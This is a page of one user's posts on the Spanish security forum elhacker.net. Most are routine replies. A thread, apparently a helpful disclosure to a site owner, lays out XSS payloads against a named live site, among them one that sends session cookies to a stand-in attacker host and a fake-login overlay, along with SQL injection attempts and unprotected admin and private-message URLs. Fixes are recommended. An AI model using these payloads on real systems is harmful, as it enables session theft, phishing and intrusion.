elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el ttwitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 [38] 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ... 437
371  Foros Generales / Noticias / Re: Deja de sufrir: por qué no necesitas expulsar un USB antes de desconectarlo ... en: 18 Julio 2018, 18:52 pm
Yo desde que uso computadoras nunca he tenido la costumbre de expulsar antes de sacar el pendrive, siempre cuando termino de copiar cosas lo saco de manera directa y los que me ven se escandalizan, pero jamás se me ha estropeado uno.

Yo creo que todo está en como cuides tus dispositivos.

En linux cuando sacas el pendrive sin expulsar y se estropea es porque se corrompe el sistema de archivos, basta con darle un chequeo por software y listo, eso no quiere decir que físicamente haya sufrido problemas.
372  Programación / PHP / Re: Expresión regular. Obtener ancho x alto en: 13 Julio 2018, 18:13 pm
Prueba con /(\d+)\s*x+\s*(\d+)/gi

https://regexr.com/3sdnh
373  Programación / PHP / Re: Expresión regular. Obtener ancho x alto en: 12 Julio 2018, 13:56 pm
Hola, eso puedes hacerlo con preg_match_all() de php. Que has intentado programar? tienes algo hecho para darle un vistazo y ver en que estás fallando?.

Prueba con /(\d+)X(\d+)/

Saludos.
374  Seguridad Informática / Hacking Ético / Re: Vulnerabilidad de una web en: 9 Julio 2018, 18:01 pm
Ya han solucionado algunos problemas: https://github.com/NamelessMC/Nameless/issues/1144 , para que actualices tu sistema.

Saludos.
375  Seguridad Informática / Hacking Ético / Re: Vulnerabilidad de una web en: 8 Julio 2018, 23:52 pm
Hola, muchas gracias por los halagos, sin Dios no tendría el conocimiento y la sabiduría suficiente para poder haber ayudado.

Claramente las compañías tienen su dinero para pagar por estas cosas pero las personas mortales como nosotros nos cuesta mucho. La información es libre, yo he aprendido mucho de las personas y hasta el momento nadie me ha cobrado asi que tampoco tengo ningún motivo para cobrarle a cualquiera que necesite ayuda, es la esencia del foro, entre todos nos nutrimos de una u otra forma.

Con respecto a SMF te puedo comentar que también tienen bastantes malas prácticas en el desarrollo del software, no tanto como tu sistema pero no tiene comparación a phpbb, para mi phpbb es uno de los mejores sistemas para tener un foro junto a un par de proyectos en rails que he visto, pero en php para mi phpbb es lo mejor y a demás es gratis.

Dale un vistazo a este template para phpbb3: https://comboot.io/blog/beta/beta-3-1/

También tienen paquetes para traducir los textos al español y funcionan muy bien.

Lo que si te recomiendo mucho es que te mantengas siempre al día con las actualizaciones y nunca hagas modificaciones a nivel del núcleo del sistema, solamente a los templates y mods. A demás, intenta evitar el uso de Wordpress a menos que uses el servicio en la nube de wordpress.com.

Saludos.
376  Seguridad Informática / Hacking Ético / Re: Vulnerabilidad de una web en: 8 Julio 2018, 20:11 pm
Según https://github.com/NamelessMC/Nameless/blob/master/core/queries/alerts.php puedo ver los mensajes y alertas de cualquier usuario unicamente indicando el id:

http://play.cubstar.net/core/queries/private_messages.php?uid=n

No hay restricción para saber que usuario está accediendo a que mensajes.
377  Seguridad Informática / Hacking Ético / Re: Vulnerabilidad de una web en: 8 Julio 2018, 20:03 pm
https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L173

Código:
public function update($table, $id, $fields) {
$set = '';
$x = 1;

foreach($fields as $name => $value){
$set .= "{$name} = ?";

if($x < count($fields)) {
$set .= ', ';
}
$x++;
}
$table = $this->_prefix . $table;
$sql = "UPDATE {$table} SET {$set} WHERE id = {$id}";

if(!$this->createQuery($sql, $fields)->error()) {
return true;
}

return false;
}

Al momento de crear la votación este es parseada por la función prepare() de PDO, pero el update no filtra el id.

Por ejemplo: Primero realizamos una votación normal y luego inyectamos para que se ejecute en el update:

Desde la consola de Firefox realizamos el voto:
Código:
$('input[name="uid"]').val("3');"); $('form[action="/forum/reputation/"]').submit();

Luego la inyección (para validar el token XSRF):
Código:
$('input[name="uid"]').val("3; update users set username=@@version where id = 17"); $('form[action="/forum/reputation/"]').submit();

De esta manera mi nombre de usuario (soy el user id 17) se transformaría en la versión de MySQL, pero por alguna razón no funciona, pero si puedo ver errores de consultas sql cuando fuerzo errores como este:

Código:
$('input[name="uid"]').val("3 ')"); $('form[action="/forum/reputation/"]').submit();

Citar
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1

Le daré otro vistazo más aver si logro explotarlo.
378  Seguridad Informática / Hacking Ético / Re: Vulnerabilidad de una web en: 8 Julio 2018, 18:54 pm
https://github.com/NamelessMC/Nameless/blob/master/pages/forum/reputation.php#L47
Código:
   $queries->create("reputation", array(
        'user_received' => Input::get('uid'),
        'post_id' => Input::get('pid'),
        'topic_id' => Input::get('tid'),
        'user_given' => $user->data()->id,
        'time_given' => date('Y-m-d H:i:s')
    ));
    ...

https://github.com/NamelessMC/Nameless/blob/master/core/classes/Queries.php#L41
Código:
   public function create($table, $fields = array()) {
        if(!$this->_db->insert($table, $fields)) {
    ...

https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L151
Código:
   public function insert($table, $fields = array()) {
        $keys = array_keys($fields);
        $values = '';
        $x = 1;
        
        foreach($fields as $field) {
            $values .= '?';
            if ($x < count($fields)) {
                $values .= ', ';
            }
            $x++;
        }
        
        $table = $this->_prefix . $table;
        $sql = "INSERT INTO {$table} (`" . implode('`,`', $keys) . "`) VALUES ({$values})";
        
        if(!$this->createQuery($sql, $fields)->error()){
            return true;
        }
        return false;
    }
    ...

Tal cómo se ve, la función insert() nunca hace escapes para insertar los valores que vengan desde un array, tampoco es capaz de reconocer los tipos de datos y esta es la gran deficiencia con la mayoría de las funciones que manipulan la db, en consecuencia todo tu sistema puede ser susceptible a inyecciones sql, especialmente donde no se realicen controles adecuados en las páginas ya que el núcleo no limpia nada.

A esto le agregamos lo siguiente:
https://github.com/NamelessMC/Nameless/blob/master/core/classes/DB.php#L13
Código:
$this->_pdo = new PDO('mysql:...

PDO tiene la ventaja y desventaja a su ves de poder realizar múltiples consultas en una misma query tal como lo hace Microsoft SQL Server, simplemente concatenando la consulta con un punto y coma ";", por lo cual esta inyección se podría traducir en un escape de variable con una comilla y luego del punto y coma realizar una inserción de datos adicional o eliminación, por ejemplo para hacerme administrador en el sitio o eliminar toda la base de datos.

Te recomiendo que uses como sistema de foro un phpbb3 con template de bootstrap y migres tus temas.
379  Seguridad Informática / Hacking Ético / Re: Vulnerabilidad de una web en: 8 Julio 2018, 18:38 pm
Acabo de encontrar la inyección SQL, se encuentra en el botón para dar reputación a un usuario dentro de un post, las variables solo son requeridas pero no filtradas.

POST : http://play.cubstar.net/forum/reputation/

Leyendo el código fuente del html que genera tu sitio vi esto:

Código:
<li class="dropdown">
        <a class="dropdown-toggle" data-toggle="dropdown" href="#">&copy; CubStar Network 2018</a>
        <ul class="dropdown-menu">
            <li><a href="#" target="_blank">Site software &copy; Samerton</a></li>
            <li><a href="https://github.com/NamelessMC/Nameless" target="_blank">Source avaliable on GitHub.</a></li>
        </ul>
    </li>

Así que me fui al código fuente en php para darle un vistazo: https://github.com/NamelessMC/Nameless/blob/master/pages/forum/reputation.php

Si te fijas, en la línea 30 y 47 solo exige que los valores sean requeridos pero no indica el tipo, por otro lado la sanitización de variables de la función create() tiene nativamente problemas de inyección sql haciendo que forzadamente las validaciones se hagan a través de las paginas y no desde el mismo núcleo.

He intentado ponerle comillas simples a los 4 parámetros enviados y me arroja lo siguiente:

Citar
SQLSTATE[01000]: Warning: 1265 Data truncated for column 'user_received' at row 1

Intentaré explotar la vulnerabilidad.

Adicionalmente me he dado cuenta que tienes muchas malas prácticas en el desarrollo mismo, desde el filtrado de tipos de parámetros hasta la manera en como maneja los permisos de cada sección, por ejemplo, en cada archivo de página de administración debe hacer las mismas validaciones, si se les olvida en una sola pagina quedarán al descubierto, esto no sucedería si utilizaran por ejemplo una clase base para extender el cual hiciera la misma validación una sola ves previniendo problemas como estos:

http://play.cubstar.net/admin/update_uuids/?uid=300
http://play.cubstar.net/admin/update_mcnames/?uid=300
http://play.cubstar.net/admin/sidebar

Actualmente las funcionalidades de administración para normalizar los id y nombres de los usuarios no tienen restricción de acceso tal como si lo tienen las demás secciones.
380  Seguridad Informática / Hacking Ético / Re: Vulnerabilidad de una web en: 8 Julio 2018, 17:28 pm
Hola, he comenzado a darle un vistazo a tu sitio y acabo de encontrar un xss en una redirección que se hace por javascript cuando tratas de acceder al directorio inexistente de un perfil:

Por ejemplo, solicitando el directorio "x":
http://play.cubstar.net/profile/DamianIsHere');window.stop();alert(0);x('/x

El código queda así:

Código:
<script data-cfasync="false">window.location.replace('/profile/DamianIsHere');alert(0);x('/');</script>

Esto te puede impactar de varias maneras, primeramente es posible robar una sesión de usuario enviándole un enlace a alguien con un ataque debido a un segundo problema, el cual es que tu cookie de sesión de PHPSESSID de PHP (donde se almacena la autenticación del usuario) tiene el flag HttpOnly desactivado, esto quiere decir que a través de un ataque vía XSS es posible robar esta cookie por medio de javascript y reutilizarla.

Por ejemplo:

play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#location.href='://atacante.com/cookies?value='+document.cookie;

Luego por debajo con un robot automatizado podría ser capaz de recibir la cookie y enviar solicitudes automatizadas al foro por ejemplo para cambiarle la contraseña, postear cosas de manera automática, entrar al panel de administración y subirle una shell (backdoor para controlar el servidor y acceder a la base de datos).

También es posible reemplazar el contenido y hacer phishing, por ejemplo para solicitar una contraseña:

play.cubstar.net/profile/DamianIsHere');window.stop();eval(unescape(location.hash.substr(1)));x('/x#document.body=document.createElement("body");document.body.innerHTML='Login falso aca.';history.pushState({},'','/login');

A demás, a traves de javascript puedo modificar la dirección URL para ocultar el XSS para que no se den cuenta que están dentro de un contenido falsificado.

Nota: para ver los XSS te recomiendo utilizar Firefox porque Google Chrome los filtra.

Te recomiendo que reemplaces la redirección de javascript por uno de cabecera http (location 301) o escapes los caracteres en hexadecimal de javascript (\xnn).
Páginas: 1 ... 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 [38] 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ... 437
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines